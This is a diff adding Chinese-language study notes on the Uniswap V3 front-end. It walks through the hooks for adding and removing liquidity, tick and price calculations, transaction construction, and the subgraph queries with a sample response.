+  invalidRange: boolean;
+  depositADisabled: boolean;
+  depositBDisabled: boolean;
+  invertPrice: boolean;
+  ticksAtLimit: { [bound in Bound]?: boolean | undefined };
+} {
+  const { account } = useActiveWeb3React();
+
+  // 获取用户的输入数值
+  const { independentField, typedValue, leftRangeTypedValue, rightRangeTypedValue, startPriceTypedValue } = useV3MintState();
+
+  const dependentField = independentField === Field.CURRENCY_A ? Field.CURRENCY_B : Field.CURRENCY_A;
+
+  // currencies
+  const currencies: { [field in Field]?: Currency } = useMemo(
+    () => ({
+      [Field.CURRENCY_A]: currencyA,
+      [Field.CURRENCY_B]: currencyB,
+    }),
+    [currencyA, currencyB]
+  );
+
+  // formatted with tokens
+  // baseToken是用来计价的token 例如  HH per ETH，ETH即为baseToken
+  const [tokenA, tokenB, baseToken] = useMemo(
+    () => [currencyA?.wrapped, currencyB?.wrapped, baseCurrency?.wrapped],
+    [currencyA, currencyB, baseCurrency]
+  );
+
+  // token 地址排序，因为获取Pool地址需要以地址升序排列
+  const [token0, token1] = useMemo(
+    () => (tokenA && tokenB ? (tokenA.sortsBefore(tokenB) ? [tokenA, tokenB] : [tokenB, tokenA]) : [undefined, undefined]),
+    [tokenA, tokenB]
+  );
+
+  // balances
+  // 拿到用户在两个token上的余额
+  const balances = useCurrencyBalances(account ?? undefined, [currencies[Field.CURRENCY_A], currencies[Field.CURRENCY_B]]);
+  const currencyBalances: { [field in Field]?: CurrencyAmount<Currency> } = {
+    [Field.CURRENCY_A]: balances[0],
+    [Field.CURRENCY_B]: balances[1],
+  };
+
+  // pool
+  // 通过 tokenA,tokenB,fee 三个要素获取Pool对象
+  // Pool对象是 @uniswap/v3-sdk/Pool 类的实例
+  // poolState: LOADING | NOT_EXISTS | EXISTS | INVALID
+  const [poolState, pool] = usePool(currencies[Field.CURRENCY_A], currencies[Field.CURRENCY_B], feeAmount);
+  // 根据pool状态判断是否存在流动性
+  const noLiquidity = poolState === PoolState.NOT_EXISTS;
+
+  // note to parse inputs in reverse
+  // 标记计价token是否为token1（tokenA tokenB 排序之后，地址较大的）
+  const invertPrice = Boolean(baseToken && token0 && !baseToken.equals(token0));
+
+  // always returns the price with 0 as base token
+  const price: Price<Token, Token> | undefined = useMemo(() => {
+    // if no liquidity use typed value
+    // 当Pool没有流动性，直接以用户输入的初始价格作为返回值
+    if (noLiquidity) {
+      // 解析用户输入值，并根据baseToken的精度换算值
+      // 因为精度不同的两个token相除，价格需要根据精度的差来对小数点位移
+      const parsedQuoteAmount = tryParseAmount(startPriceTypedValue, invertPrice ? token0 : token1);
+      if (parsedQuoteAmount && token0 && token1) {
+        // 获取计价token的价格，即价格为1
+        const baseAmount = tryParseAmount('1', invertPrice ? token1 : token0);
+        // 初始价格即为用户的输入数值 / 1
+        const price =
+          baseAmount && parsedQuoteAmount
+            ? // @uniswap/sdk-core/Price
+              new Price(baseAmount.currency, parsedQuoteAmount.currency, baseAmount.quotient, parsedQuoteAmount.quotient)
+            : undefined;
+        return (invertPrice ? price?.invert() : price) ?? undefined;
+      }
+      return undefined;
+    } else {
+      // get the amount of quote currency
+      // 如果Pool已有流动性，则直接从链上获取Pool的价格数据
+      // @uniswap/v3-sdk/Pool.priceOf(token0) 表示token0的价格，以token1计价
+      return pool && token0 ? pool.priceOf(token0) : undefined;
+    }
+  }, [noLiquidity, startPriceTypedValue, invertPrice, token1, token0, pool]);
+
+  // check for invalid price input (converts to invalid ratio)
+  // 校验价格是否非法：能开根号，且没有超出最大价格范围
+  const invalidPrice = useMemo(() => {
+    // 计算根号价格
+    // @uniswap/v3-sdk/encodeSqrtRatioX96
+    const sqrtRatioX96 = price ? encodeSqrtRatioX96(price.numerator, price.denominator) : undefined;
+    const invalid =
+      price &&
+      sqrtRatioX96 &&
+      !(
+        // @uniswap/v3-sdk/TickMath
+        (JSBI.greaterThanOrEqual(sqrtRatioX96, TickMath.MIN_SQRT_RATIO) && JSBI.lessThan(sqrtRatioX96, TickMath.MAX_SQRT_RATIO))
+      );
+    return invalid;
+  }, [price]);
+
+  // used for ratio calculation when pool not initialized
+  // 模拟的Pool对象，当Pool未初始化时，用于代替Pool对象做计算
+  const mockPool = useMemo(() => {
+    if (tokenA && tokenB && feeAmount && price && !invalidPrice) {
+      const currentTick = priceToClosestTick(price);
+      const currentSqrt = TickMath.getSqrtRatioAtTick(currentTick);
+      // @uniswap/v3-sdk/Pool
+      return new Pool(tokenA, tokenB, feeAmount, currentSqrt, JSBI.BigInt(0), currentTick, []);
+    } else {
+      return undefined;
+    }
+  }, [feeAmount, invalidPrice, price, tokenA, tokenB]);
+
+  // if pool exists use it, if not use the mock pool
+  // 当Pool未初始化，使用模拟Pool对象做计算
+  const poolForPosition: Pool | undefined = pool ?? mockPool;
+
+  // lower and upper limits in the tick space for `feeAmount`
+  // 设置tick序号的范围（上下限）
+  // 根据tickSpacing查找最大值和最小值附近可用的tick的序号
+  // tickSpacing 是计算时tick的间隔，为了减少计算量
+  // 根据费率水平确定 费率越大，tickSpacing越大，反之亦然
+  const tickSpaceLimits: {
+    [bound in Bound]: number | undefined;
+  } = useMemo(
+    () => ({
+      // @uniswap/v3-sdk/nearestUsableTick
+      [Bound.LOWER]: feeAmount ? nearestUsableTick(TickMath.MIN_TICK, TICK_SPACINGS[feeAmount]) : undefined,
+      [Bound.UPPER]: feeAmount ? nearestUsableTick(TickMath.MAX_TICK, TICK_SPACINGS[feeAmount]) : undefined,
+    }),
+    [feeAmount]
+  );
+
+  // parse typed range values and determine closest ticks
+  // lower should always be a smaller tick
+  // 根据价格区间上下限代表的tick序号
+  // 以下限为例：
+  //    1. 当用户下限的输入值为boolean类型，表示点击了 `set all range` 按钮
+  //        此时下限价格是全价格轴上可用的最小值，即为 tickSpaceLimits.lower
+  //    2. 当用户下限的输入值为数值类型，则根据用户输入价格查找最近的可用的tick序号
+  //        因为Pool上的价格是离散的点，且又有tickSpacing的存在，
+  //        用户输入的价格和实际匹配的tick所代表的价格，有一定偏差
+  const ticks: {
+    [key: string]: number | undefined;
+  } = useMemo(() => {
+    return {
+      [Bound.LOWER]:
+        typeof existingPosition?.tickLower === 'number'
+          ? existingPosition.tickLower
+          : (invertPrice && typeof rightRangeTypedValue === 'boolean') || (!invertPrice && typeof leftRangeTypedValue === 'boolean')
+          ? tickSpaceLimits[Bound.LOWER]
+          : invertPrice
+          ? tryParseTick(token1, token0, feeAmount, rightRangeTypedValue.toString())
+          : tryParseTick(token0, token1, feeAmount, leftRangeTypedValue.toString()),
+      [Bound.UPPER]:
+        typeof existingPosition?.tickUpper === 'number'
+          ? existingPosition.tickUpper
+          : (!invertPrice && typeof rightRangeTypedValue === 'boolean') || (invertPrice && typeof leftRangeTypedValue === 'boolean')
+          ? tickSpaceLimits[Bound.UPPER]
+          : invertPrice
+          ? tryParseTick(token1, token0, feeAmount, leftRangeTypedValue.toString())
+          : tryParseTick(token0, token1, feeAmount, rightRangeTypedValue.toString()),
+    };
+  }, [existingPosition, feeAmount, invertPrice, leftRangeTypedValue, rightRangeTypedValue, token0, token1, tickSpaceLimits]);
+
+  const { [Bound.LOWER]: tickLower, [Bound.UPPER]: tickUpper } = ticks || {};
+
+  // specifies whether the lower and upper ticks is at the exteme bounds
+  // 判断价格上下限所在的tick是否为tick轴的最大最小序号
+  const ticksAtLimit = useMemo(
+    () => ({
+      [Bound.LOWER]: feeAmount && tickLower === tickSpaceLimits.LOWER,
+      [Bound.UPPER]: feeAmount && tickUpper === tickSpaceLimits.UPPER,
+    }),
+    [tickSpaceLimits, tickLower, tickUpper, feeAmount]
+  );
+
+  // mark invalid range
+  // 当价格的 Lower >= Upper 判定为非法价格区间
+  const invalidRange = Boolean(typeof tickLower === 'number' && typeof tickUpper === 'number' && tickLower >= tickUpper);
+
+  // always returns the price with 0 as base token
+  // 根据确定的tick序号反推实际区间上下限的价格
+  // 用户在输入之后，通常价格会自动匹配到最近的tick上，和用户的输入值有偏差
+  const pricesAtTicks = useMemo(() => {
+    return {
+      [Bound.LOWER]: getTickToPrice(token0, token1, ticks[Bound.LOWER]),
+      [Bound.UPPER]: getTickToPrice(token0, token1, ticks[Bound.UPPER]),
+    };
+  }, [token0, token1, ticks]);
+  const { [Bound.LOWER]: lowerPrice, [Bound.UPPER]: upperPrice } = pricesAtTicks;
+
+  // liquidity range warning
+  // 当前交易价格是否在设定的价格区间外
+  const outOfRange = Boolean(!invalidRange && price && lowerPrice && upperPrice && (price.lessThan(lowerPrice) || price.greaterThan(upperPrice)));
+
+  // amounts
+  // 用户输入的要添加多少token作为流动性
+  const independentAmount: CurrencyAmount<Currency> | undefined = tryParseAmount(typedValue, currencies[independentField]);
+
+  // 自动计算另一种token匹配的数量
+  const dependentAmount: CurrencyAmount<Currency> | undefined = useMemo(() => {
+    // we wrap the currencies just to get the price in terms of the other token
+    const wrappedIndependentAmount = independentAmount?.wrapped;
+    const dependentCurrency = dependentField === Field.CURRENCY_B ? currencyB : currencyA;
+    if (independentAmount && wrappedIndependentAmount && typeof tickLower === 'number' && typeof tickUpper === 'number' && poolForPosition) {
+      // if price is out of range or invalid range - return 0 (single deposit will be independent)
+      if (outOfRange || invalidRange) {
+        return undefined;
+      }
+
+      // 根据输入的token数量创建一个Position实例
+      // 其内部会计算另一种token的数量
+      // @uniswap/v3-sdk/Position
+      const position: Position | undefined = wrappedIndependentAmount.currency.equals(poolForPosition.token0)
+        ? Position.fromAmount0({
+            pool: poolForPosition,
+            tickLower,
+            tickUpper,
+            amount0: independentAmount.quotient,
+            useFullPrecision: true, // we want full precision for the oretical position
+          })
+        : Position.fromAmount1({
+            pool: poolForPosition,
+            tickLower,
+            tickUpper,
+            amount1: independentAmount.quotient,
+          });
+
+      const dependentTokenAmount = wrappedIndependentAmount.currency.equals(poolForPosition.token0) ? position.amount1 : position.amount0;
+      return dependentCurrency && CurrencyAmount.fromRawAmount(dependentCurrency, dependentTokenAmount.quotient);
+    }
+
+    return undefined;
+  }, [independentAmount, outOfRange, dependentField, currencyB, currencyA, tickLower, tickUpper, poolForPosition, invalidRange]);
+
+  const parsedAmounts: { [field in Field]: CurrencyAmount<Currency> | undefined } = useMemo(() => {
+    return {
+      [Field.CURRENCY_A]: independentField === Field.CURRENCY_A ? independentAmount : dependentAmount,
+      [Field.CURRENCY_B]: independentField === Field.CURRENCY_A ? dependentAmount : independentAmount,
+    };
+  }, [dependentAmount, independentAmount, independentField]);
+
+  // single deposit only if price is out of range
+  // 当前交易价格在区间外,则只能添加单种资产
+  const deposit0Disabled = Boolean(typeof tickUpper === 'number' && poolForPosition && poolForPosition.tickCurrent >= tickUpper);
+  const deposit1Disabled = Boolean(typeof tickLower === 'number' && poolForPosition && poolForPosition.tickCurrent <= tickLower);
+
+  // sorted for token order
+  // 将不能添加流动性的资产映射到UI界面上
+  // 界面上是tokenA tokenB,而上面计算时,采用排序后的 token0, token1
+  const depositADisabled =
+    invalidRange ||
+    Boolean(
+      (deposit0Disabled && poolForPosition && tokenA && poolForPosition.token0.equals(tokenA)) ||
+        (deposit1Disabled && poolForPosition && tokenA && poolForPosition.token1.equals(tokenA))
+    );
+  const depositBDisabled =
+    invalidRange ||
+    Boolean(
+      (deposit0Disabled && poolForPosition && tokenB && poolForPosition.token0.equals(tokenB)) ||
+        (deposit1Disabled && poolForPosition && tokenB && poolForPosition.token1.equals(tokenB))
+    );
+
+  // create position entity based on users selection
+  // 根据用户的选择配置创建Position实例
+  // @uniswap/v3-sdk/Position
+  const position: Position | undefined = useMemo(() => {
+    if (!poolForPosition || !tokenA || !tokenB || typeof tickLower !== 'number' || typeof tickUpper !== 'number' || invalidRange) {
+      return undefined;
+    }
+
+    // mark as 0 if disabled because out of range
+    // outOfRange 状态下,某一种资产需要标记为0
+    const amount0 = !deposit0Disabled
+      ? parsedAmounts?.[tokenA.equals(poolForPosition.token0) ? Field.CURRENCY_A : Field.CURRENCY_B]?.quotient
+      : BIG_INT_ZERO;
+    const amount1 = !deposit1Disabled
+      ? parsedAmounts?.[tokenA.equals(poolForPosition.token0) ? Field.CURRENCY_B : Field.CURRENCY_A]?.quotient
+      : BIG_INT_ZERO;
+
+    if (amount0 !== undefined && amount1 !== undefined) {
+      // 创建Position实例
+      return Position.fromAmounts({
+        pool: poolForPosition,
+        tickLower,
+        tickUpper,
+        amount0,
+        amount1,
+        useFullPrecision: true, // we want full precision for the oretical position
+      });
+    } else {
+      return undefined;
+    }
+  }, [parsedAmounts, poolForPosition, tokenA, tokenB, deposit0Disabled, deposit1Disabled, invalidRange, tickLower, tickUpper]);
+
+  let errorMessage: string | undefined;
+  if (!account) {
+    errorMessage = t`Connect Wallet`;
+  }
+
+  if (poolState === PoolState.INVALID) {
+    errorMessage = errorMessage ?? t`Invalid pair`;
+  }
+
+  if (invalidPrice) {
+    errorMessage = errorMessage ?? t`Invalid price input`;
+  }
+
+  if ((!parsedAmounts[Field.CURRENCY_A] && !depositADisabled) || (!parsedAmounts[Field.CURRENCY_B] && !depositBDisabled)) {
+    errorMessage = errorMessage ?? t`Enter an amount`;
+  }
+
+  const { [Field.CURRENCY_A]: currencyAAmount, [Field.CURRENCY_B]: currencyBAmount } = parsedAmounts;
+
+  if (currencyAAmount && currencyBalances?.[Field.CURRENCY_A]?.lessThan(currencyAAmount)) {
+    errorMessage = t`Insufficient ${currencies[Field.CURRENCY_A]?.symbol} balance`;
+  }
+
+  if (currencyBAmount && currencyBalances?.[Field.CURRENCY_B]?.lessThan(currencyBAmount)) {
+    errorMessage = t`Insufficient ${currencies[Field.CURRENCY_B]?.symbol} balance`;
+  }
+
+  const invalidPool = poolState === PoolState.INVALID;
+
+  return {
+    dependentField,
+    currencies,
+    pool,
+    poolState,
+    currencyBalances,
+    parsedAmounts,
+    ticks,
+    price,
+    pricesAtTicks,
+    position,
+    noLiquidity,
+    errorMessage,
+    invalidPool,
+    invalidRange,
+    outOfRange,
+    depositADisabled,
+    depositBDisabled,
+    invertPrice,
+    ticksAtLimit,
+  };
+}
+```
+
+### usePoolActiveLiquidity
+
+获取 Pool 当前处于激活状态的流动性在 tick 轴上的分布，用于绘制分布图表
+
+```ts
+export function usePoolActiveLiquidity(
+  currencyA: Currency | undefined,
+  currencyB: Currency | undefined,
+  feeAmount: FeeAmount | undefined
+): {
+  isLoading: boolean;
+  isUninitialized: boolean;
+  isError: boolean;
+  error: any;
+  activeTick: number | undefined;
+  data: TickProcessed[] | undefined;
+} {
+  const pool = usePool(currencyA, currencyB, feeAmount);
+
+  // Find nearest valid tick for pool in case tick is not initialized.
+  // activeTick 是当前交易价格对应的tick(未必已初始化)
+  // pool[1] 是@uniswap/v3-sdk/Pool 类的实例
+  const activeTick = useMemo(() => getActiveTick(pool[1]?.tickCurrent, feeAmount), [pool, feeAmount]);
+
+  // 通过graph获取Pool的所有处于激活状态的tick数据（已添加流动性的tick）
+  const { isLoading, isUninitialized, isError, error, ticks } = useAllV3Ticks(currencyA, currencyB, feeAmount);
+
+  return useMemo(() => {
+    if (
+      !currencyA ||
+      !currencyB ||
+      activeTick === undefined ||
+      pool[0] !== PoolState.EXISTS ||
+      !ticks ||
+      ticks.length === 0 ||
+      isLoading ||
+      isUninitialized
+    ) {
+      return {
+        isLoading: isLoading || pool[0] === PoolState.LOADING,
+        isUninitialized,
+        isError,
+        error,
+        activeTick,
+        data: undefined,
+      };
+    }
+
+    const token0 = currencyA?.wrapped;
+    const token1 = currencyB?.wrapped;
+
+    // find where the active tick would be to partition the array
+    // if the active tick is initialized, the pivot will be an element
+    // if not, take the previous tick as pivot
+    // 当前价格对应的tick是否有流动性
+    const pivot = ticks.findIndex(({ tickIdx }) => tickIdx > activeTick) - 1;
+
+    // pivot < 0 说明当前价格对应的tick无流动性
+    if (pivot < 0) {
+      // consider setting a local error
+      console.error('TickData pivot not found');
+      return {
+        isLoading,
+        isUninitialized,
+        isError,
+        error,
+        activeTick,
+        data: undefined,
+      };
+    }
+
+    // 当前价格对应的tick数据包装
+    const activeTickProcessed: TickProcessed = {
+      // 当前tick上的激活状态的流动性即为当前Pool激活的总流动性
+      liquidityActive: JSBI.BigInt(pool[1]?.liquidity ?? 0),
+      tickIdx: activeTick,
+      // liquidityNet 是流动性净值，其含义可参见合约导读部分
+      liquidityNet: Number(ticks[pivot].tickIdx) === activeTick ? JSBI.BigInt(ticks[pivot].liquidityNet) : JSBI.BigInt(0),
+      // token0的价格
+      price0: tickToPrice(token0, token1, activeTick).toFixed(PRICE_FIXED_DIGITS),
+    };
+
+    const subsequentTicks = computeSurroundingTicks(token0, token1, activeTickProcessed, ticks, pivot, true);
+
+    const previousTicks = computeSurroundingTicks(token0, token1, activeTickProcessed, ticks, pivot, false);
+
+    const ticksProcessed = previousTicks.concat(activeTickProcessed).concat(subsequentTicks);
+
+    return {
+      isLoading,
+      isUninitialized,
+      isError: isError,
+      error,
+      activeTick,
+      data: ticksProcessed,
+    };
+  }, [currencyA, currencyB, activeTick, pool, ticks, isLoading, isUninitialized, isError, error]);
+}
+```
+
+### computeSurroundingTicks
+
+计算交易价格对应 tick 的 前/后 每个 tick 上的流动性数据
+
+```ts
+// Computes the numSurroundingTicks above or below the active tick.
+export default function computeSurroundingTicks(
+  token0: Token,
+  token1: Token,
+  activeTickProcessed: TickProcessed, // 当前价格对应tick上的数据
+  sortedTickData: AllV3TicksQuery['ticks'], // Pool上所有已激活的 tick: { tickIdx, liquidityNet, price0, price1 }
+  pivot: number, // 当前价格对应tick的序号，如果该tick未激活，pivot 为 -1
+  ascending: boolean // 以当前价格的tick为起点 false 向前遍历 ture 向后遍历
+): TickProcessed[] {
+  let previousTickProcessed: TickProcessed = {
+    ...activeTickProcessed,
+  };
+  // Iterate outwards (either up or down depending on direction) from the active tick,
+  // building active liquidity for every tick.
+  // 根据 ascending 的值，向前或向后遍历 每个tick上的流动性数据
+  let processedTicks: TickProcessed[] = [];
+  for (let i = pivot + (ascending ? 1 : -1); ascending ? i < sortedTickData.length : i >= 0; ascending ? i++ : i--) {
+    const tickIdx = Number(sortedTickData[i].tickIdx);
+    const currentTickProcessed: TickProcessed = {
+      liquidityActive: previousTickProcessed.liquidityActive,
+      tickIdx,
+      liquidityNet: JSBI.BigInt(sortedTickData[i].liquidityNet),
+      price0: tickToPrice(token0, token1, tickIdx).toFixed(PRICE_FIXED_DIGITS),
+    };
+
+    // Update the active liquidity.
+    // If we are iterating ascending and we found an initialized tick we immediately apply
+    // it to the current processed tick we are building.
+    // If we are iterating descending, we don't want to apply the net liquidity until the following tick.
+    // 从当前价格向后（价格变大）方向遍历，每个tick上的激活流动性数量 =
+    //   liquidityActive + liquidityNet
+    if (ascending) {
+      currentTickProcessed.liquidityActive = JSBI.add(previousTickProcessed.liquidityActive, JSBI.BigInt(sortedTickData[i].liquidityNet));
+    } else if (!ascending && JSBI.notEqual(previousTickProcessed.liquidityNet, JSBI.BigInt(0))) {
+      // We are iterating descending, so look at the previous tick and apply any net liquidity.
+      // 从当前价格向后（价格变大）方向遍历，每个tick上的激活流动性数量 =
+      //   liquidityActive - liquidityNet
+      currentTickProcessed.liquidityActive = JSBI.subtract(previousTickProcessed.liquidityActive, previousTickProcessed.liquidityNet);
+    }
+
+    processedTicks.push(currentTickProcessed);
+    previousTickProcessed = currentTickProcessed;
+  }
+
+  if (!ascending) {
+    processedTicks = processedTicks.reverse();
+  }
+
+  return processedTicks;
+}
+```
+
+### onAdd
+
+发送添加流动性的交易，如果有必要，先创建 Pool 合约
+
+```ts
+// src/pages/AddLiuqidity/index.tsx
+
+async function onAdd() {
+  if (!chainId || !library || !account) return;
+
+  if (!positionManager || !baseCurrency || !quoteCurrency) {
+    return;
+  }
+
+  if (position && account && deadline) {
+    // 交易对中有无ETH, 后面会根据此判断是否需给交易传value值
+    const useNative = baseCurrency.isNative ? baseCurrency : quoteCurrency.isNative ? quoteCurrency : undefined;
+    // 判断池子是否存在，且流动性为0
+    // 区分两种调用入参
+    // @uniswap/v3-sdk/NonfungiblePositionManager
+    //    1. 如果需要创建Pool，首先插入 Manager.createAndInitializePoolIfNecessary 的方法调用
+    //    2. 如果有permit 插入permit的编码
+    //    3. 如果不存在该流动性头寸(position)调用 Manager.mint 函数，添加流动性并创建NFT返回给用户
+    //    4. 如果position已存在，调用 Manager.increaseLiquidity 直接添加流动性
+    //    5. 如果交易对包含ETH，将ETH放在交易的value发送
+    const { calldata, value } =
+      hasExistingPosition && tokenId
+        ? NonfungiblePositionManager.addCallParameters(position, {
+            tokenId,
+            slippageTolerance: allowedSlippage,
+            deadline: deadline.toString(),
+            useNative,
+          })
+        : NonfungiblePositionManager.addCallParameters(position, {
+            slippageTolerance: allowedSlippage,
+            recipient: account,
+            deadline: deadline.toString(),
+            useNative,
+            createPool: noLiquidity,
+          });
+
+    // 组装交易参数
+    let txn: { to: string; data: string; value: string } = {
+      to: NONFUNGIBLE_POSITION_MANAGER_ADDRESSES[chainId],
+      data: calldata,
+      value,
+    };
+
+    if (argentWalletContract) {
+      const amountA = parsedAmounts[Field.CURRENCY_A];
+      const amountB = parsedAmounts[Field.CURRENCY_B];
+      const batch = [
+        ...(amountA && amountA.currency.isToken ? [approveAmountCalldata(amountA, NONFUNGIBLE_POSITION_MANAGER_ADDRESSES[chainId])] : []),
+        ...(amountB && amountB.currency.isToken ? [approveAmountCalldata(amountB, NONFUNGIBLE_POSITION_MANAGER_ADDRESSES[chainId])] : []),
+        {
+          to: txn.to,
+          data: txn.data,
+          value: txn.value,
+        },
+      ];
+      const data = argentWalletContract.interface.encodeFunctionData('wc_multiCall', [batch]);
+      txn = {
+        to: argentWalletContract.address,
+        data,
+        value: '0x0',
+      };
+    }
+
+    // 打开交易进行中的弹窗
+    setAttemptingTxn(true);
+
+    // 交易预执行并预估gas费用
+    library
+      .getSigner()
+      .estimateGas(txn)
+      .then((estimate) => {
+        const newTxn = {
+          ...txn,
+          gasLimit: calculateGasMargin(chainId, estimate),
+        };
+
+        // 真实发送交易
+        return library
+          .getSigner()
+          .sendTransaction(newTxn)
+          .then((response: TransactionResponse) => {
+            setAttemptingTxn(false);
+            addTransaction(response, {
+              summary: noLiquidity
+                ? t`Create pool and add ${baseCurrency?.symbol}/${quoteCurrency?.symbol} V3 liquidity`
+                : t`Add ${baseCurrency?.symbol}/${quoteCurrency?.symbol} V3 liquidity`,
+            });
+            setTxHash(response.hash);
+            ReactGA.event({
+              category: 'Liquidity',
+              action: 'Add',
+              label: [currencies[Field.CURRENCY_A]?.symbol, currencies[Field.CURRENCY_B]?.symbol].join('/'),
+            });
+          });
+      })
+      .catch((error) => {
+        console.error('Failed to send transaction', error);
+        setAttemptingTxn(false);
+        // we only care if the error is something _other_ than the user rejected the tx
+        if (error?.code !== 4001) {
+          console.error(error);
+        }
+      });
+  } else {
+    return;
+  }
+}
+```
+
+## RemoveLiquidity
+
+### useDerivedV3BurnInfo
+
+预估用户移除的流动性返回多少token和手续费
+
+```ts
+export function useDerivedV3BurnInfo(
+  position?: PositionDetails,
+  asWETH = false
+): {
+  position?: Position
+  liquidityPercentage?: Percent
+  liquidityValue0?: CurrencyAmount<Currency>
+  liquidityValue1?: CurrencyAmount<Currency>
+  feeValue0?: CurrencyAmount<Currency>
+  feeValue1?: CurrencyAmount<Currency>
+  outOfRange: boolean
+  error?: string
+} {
+  const { account } = useActiveWeb3React()
+  // 用户输入要移除的百分比
+  const { percent } = useBurnV3State()
+
+  const token0 = useToken(position?.token0)
+  const token1 = useToken(position?.token1)
+
+  // @uniswap/v3-sdk/Pool 类的实例
+  const [, pool] = usePool(token0 ?? undefined, token1 ?? undefined, position?.fee)
+
+  // @uniswap/v3-sdk/Position 类的实例
+  const positionSDK = useMemo(
+    () =>
+      pool && position?.liquidity && typeof position?.tickLower === 'number' && typeof position?.tickUpper === 'number'
+        ? new Position({
+            pool,
+            liquidity: position.liquidity.toString(),
+            tickLower: position.tickLower,
+            tickUpper: position.tickUpper,
+          })
+        : undefined,
+    [pool, position]
+  )
+
+  // 格式化百分比数值
+  const liquidityPercentage = new Percent(percent, 100)
+
+  // 根据移除的百分比折算能够得到的token数量
+  // discounted = total * persent
+  // 这里的数字使用 分子/分母 的形式存储，而quotient中存储实际的结果
+  const discountedAmount0 = positionSDK
+    ? liquidityPercentage.multiply(positionSDK.amount0.quotient).quotient
+    : undefined
+  const discountedAmount1 = positionSDK
+    ? liquidityPercentage.multiply(positionSDK.amount1.quotient).quotient
+    : undefined
+
+  // token数量使用 @uniswap/sdk-core/CurrencyAmount 类包装
+  const liquidityValue0 =
+    token0 && discountedAmount0
+      ? CurrencyAmount.fromRawAmount(asWETH ? token0 : unwrappedToken(token0), discountedAmount0)
+      : undefined
+  const liquidityValue1 =
+    token1 && discountedAmount1
+      ? CurrencyAmount.fromRawAmount(asWETH ? token1 : unwrappedToken(token1), discountedAmount1)
+      : undefined
+
+  // 获取可回收的手续费数量
+  // 获取过程同回收手续费部分
+  const [feeValue0, feeValue1] = useV3PositionFees(pool ?? undefined, position?.tokenId, asWETH)
+
+  const outOfRange =
+    pool && position ? pool.tickCurrent < position.tickLower || pool.tickCurrent > position.tickUpper : false
+
+  let error: string | undefined
+  if (!account) {
+    error = t`Connect Wallet`
+  }
+  if (percent === 0) {
+    error = error ?? t`Enter a percent`
+  }
+  return {
+    position: positionSDK,
+    liquidityPercentage,
+    liquidityValue0,
+    liquidityValue1,
+    feeValue0,
+    feeValue1,
+    outOfRange,
+    error,
+  }
+}
+```
+
+### computeAmountFromLquidity
+
+根据流动性数量和价格区间，计算其可换回的token数量，根据白皮书的公式有三种情况，以token1为例：（`current` 代表当前价格）
+
+- `current < Lower`: 此时token1的数量已经耗尽，所以直接返回0
+- `Lower < current < Upper`: `amount = (current - Lower) * liquidity`
+- `Upper < current`: `amount = (Upper - Lower) * liquidity`
+- 原理参考paco大佬的博客[从token数量计算流动性数量](https://liaoph.com/uniswap-v3-2/#%E4%BB%8E-token-%E6%95%B0%E8%AE%A1%E7%AE%97%E6%B5%81%E5%8A%A8%E6%80%A7-l)
+- 具体代码在 @uniswap/v3-sdk/position.amount1()
diff --git a/defi/Uniswap-V3/InterfaceGuide/Graph.md b/defi/Uniswap-V3/InterfaceGuide/Graph.md
new file mode 100644
index 000000000..f40b6411b
--- /dev/null
+++ b/defi/Uniswap-V3/InterfaceGuide/Graph.md
@@ -0,0 +1,194 @@
+# Graph 请求解析
+
+## GraphQuery
+
+Interface 实际上只用到两个 graph 查询
+
+- allV3Ticks 查询给定地址的 Pool 上，所有 ticks 的状态
+- feeTierDistribution 查询交易对每种费率水平各自的 TVL
+- [UniswapV3 官方 subgraph](https://thegraph.com/explorer/subgraph?id=0x9bde7bf4d5b13ef94373ced7c8ee0be59735a298-2)
+
+```ts
+export const api = createApi({
+  reducerPath: 'dataApi',
+  baseQuery: graphqlRequestBaseQuery(),
+  endpoints: (builder) => ({
+    allV3Ticks: builder.query({
+      query: ({ poolAddress, skip = 0 }) => ({
+        document: gql`
+          query allV3Ticks($poolAddress: String!, $skip: Int!) {
+            ticks(first: 1000, skip: $skip, where: { poolAddress: $poolAddress }, orderBy: tickIdx) {
+              tickIdx
+              liquidityNet
+              price0
+              price1
+            }
+          }
+        `,
+        variables: {
+          poolAddress,
+          skip,
+        },
+      }),
+    }),
+    feeTierDistribution: builder.query({
+      query: ({ token0, token1 }) => ({
+        document: gql`
+          query feeTierDistribution($token0: String!, $token1: String!) {
+            _meta {
+              block {
+                number
+              }
+            }
+            asToken0: pools(orderBy: totalValueLockedToken0, orderDirection: desc, where: { token0: $token0, token1: $token1 }) {
+              feeTier
+              totalValueLockedToken0
+              totalValueLockedToken1
+            }
+            asToken1: pools(orderBy: totalValueLockedToken0, orderDirection: desc, where: { token0: $token1, token1: $token0 }) {
+              feeTier
+              totalValueLockedToken0
+              totalValueLockedToken1
+            }
+          }
+        `,
+        variables: {
+          token0,
+          token1,
+        },
+      }),
+    }),
+  }),
+});
+```
+
+## feeTierDistribution
+
+根据交易对的 token 地址，查询有几种费率的交易池子，返回详细信息。这里查询了 WETH 和 USDC 的交易对，由于没有对地址排序，所以直接请求两种排序的数据，返回的结果一般只有一种排序，即 token 地址升序排列的情况。
+
+查询示例
+
+```graphql
+{
+  _meta {
+    block {
+      number
+    }
+  }
+  asToken0: pools(
+    orderBy: totalValueLockedToken0
+    orderDirection: desc
+    where: { token0: "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", token1: "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48" }
+  ) {
+    feeTier
+    totalValueLockedToken0
+    totalValueLockedToken1
+  }
+  asToken1: pools(
+    orderBy: totalValueLockedToken0
+    orderDirection: desc
+    where: { token0: "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", token1: "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2" }
+  ) {
+    feeTier
+    totalValueLockedToken0
+    totalValueLockedToken1
+  }
+}
+```
+
+返回示例
+
+```js
+{
+  "data": {
+    "_meta": {
+      "block": {
+        "number": 13143132
+      }
+    },
+    // ETH-USDC
+    "asToken0": [],
+    // USDC-ETH
+    "asToken1": [
+      {
+        "feeTier": "3000",    // 费率 0.3%
+        "totalValueLockedToken0": "253659824.397486",
+        "totalValueLockedToken1": "25022.130545691318210375"
+      },
+      {
+        "feeTier": "500",    // 费率 0.05%
+        "totalValueLockedToken0": "100058813.483093",
+        "totalValueLockedToken1": "6623.543370809900944755"
+      },
+      {
+        "feeTier": "10000",    // 费率 1%
+        "totalValueLockedToken0": "1097829.415669",
+        "totalValueLockedToken1": "248.996442830368151426"
+      }
+    ]
+  }
+}
+```
+
+拿到每个费率池子的锁仓量 TVL 之后，计算每种池子的 TVL 占比，在界面上会显示百分之多少的流动性选择了哪个等级的分率
+
